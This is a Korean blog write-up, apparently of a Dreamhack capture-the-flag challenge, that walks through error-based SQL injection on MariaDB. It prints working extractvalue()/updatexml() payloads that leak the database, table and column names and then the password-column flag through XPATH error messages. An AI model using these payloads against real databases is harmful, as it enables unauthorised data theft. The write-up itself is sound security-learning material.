error를 이용해서 sql 인젝션 공격을 해야하는 문제이다.
문제 페이지에 접속해보면 어떤 식으로 SQL 구문이 입력되는지 적혀있다.
간단히 싱글쿼터 하나를 입력해서 위와 같은 에러를 확인할 수 있는데 여기서 MariaDB를 사용하는 것을 확인 할 수 있다.
이를 토대로 MariaDB와 Mysql에서 사용하는 'extractvalue()'와 'updatexml()' 함수를 활용했다.
1. extractvalue(xml_target, xpath_expr)
2. updatexml(xml_target, xpath_expr, new_value)
여기서 중요한건 두 번째 인수인 'xpath_expr'이다. 나머지는 null, 아무숫자, rand() 등 아무거나 써도 된다.
xpath_expr이라는 두 번째 인수에 유효하지 않은 XPath 표현식이 사용된다면 다음과 같은 오류가 발생한다.
ERROR 1105 (HY000): XPATH syntax error: 'xpath_expr 인수의 값'
따라서 원하는 데이터를 select하는 sql 구문을 인수로 넣으면 해당 데이터가 에러 메시지로 출력되게 된다.
문제에서 제공해주는 init.sql 파일을 보면 DB, 테이블, 컬럼 이름들을 모두 알 수 있지만 전혀 모른다는 가정하에 아래와 같이 확인할 수 있다.
1. DB 이름 파악
1' and extractvalue(null, concat(0x3a,(select database())));--
1' and updatexml(null, concat(0x3a,(select database())), null);--
DB 이름을 출력하는 sql구문에 concat을 이용하여 특수문자를 붙여서 'xpath_expr' 인수 위치에 넣으면 아래와 같이 DB 이름을 확인할 수 있다.
(concat으로 특수문자를 붙여야 에러가 발생한다. 여기선 0x3a(:)을 사용했지만 다른 특수문자를 사용해도 무방하다.)
아래부터는 updatexml() 함수를 활용한 방법은 생략했다.
2. 테이블 이름 파악
1' and extractvalue(null, concat(0x3a,(select table_name from information_schema.tables where table_schema='users' limit 0,1)));--
위에서 확인했던 'users' 라는 DB에서 limit를 이용해 첫번째 테이블의 이름을 확인하는 쿼리이다.
만약에 두번째 테이블이 있다면 limit 1,1로 확인할 수 있다.
3. 컬럼 이름 파악
1' and extractvalue(null, concat(0x3a,(select column_name from information_schema.columns where table_name='user' limit 2,1)));--
패스워드가 있는 'upw' 컬럼은 세번째에 있어 limit 2,1로 확인할 수 있었다.
4. 데이터 추출
1' and extractvalue(null, concat(0x3a,(select upw from user limit 0,1)));--
지금까지 확인했던 테이블, 컬럼 이름을 가지고 첫번째 데이터를 추출해보았다.
플래그가 나왔다. 그런데 마지막 부분을 보면 ...으로 플래그 뒷부분이 나오지 않는 것을 알 수 있다.
xml 내장함수가 (에러가 출력되는) 길이 제한이 있기 때문에 뒷부분은 생략이 되었다
1' and extractvalue(null, concat(0x3a,(select substr(upw,20,30) from user limit 0,1)));--
substr 함수를 이용해서 20번째 문자열부터 30개의 문자를 출력해 보았다.
'dreamhack' 카테고리의 다른 글
[Dreamhack] Command Injection Advanced (0) | 2024.02.02 |
---|---|
[Dreamhack] sql injection bypass WAF (0) | 2024.02.01 |
[Dreamhack] Carve Party (0) | 2024.01.18 |
[Dreamhack] web-ssrf (0) | 2024.01.15 |
[Dreamhack] file-download-1 (1) | 2024.01.14 |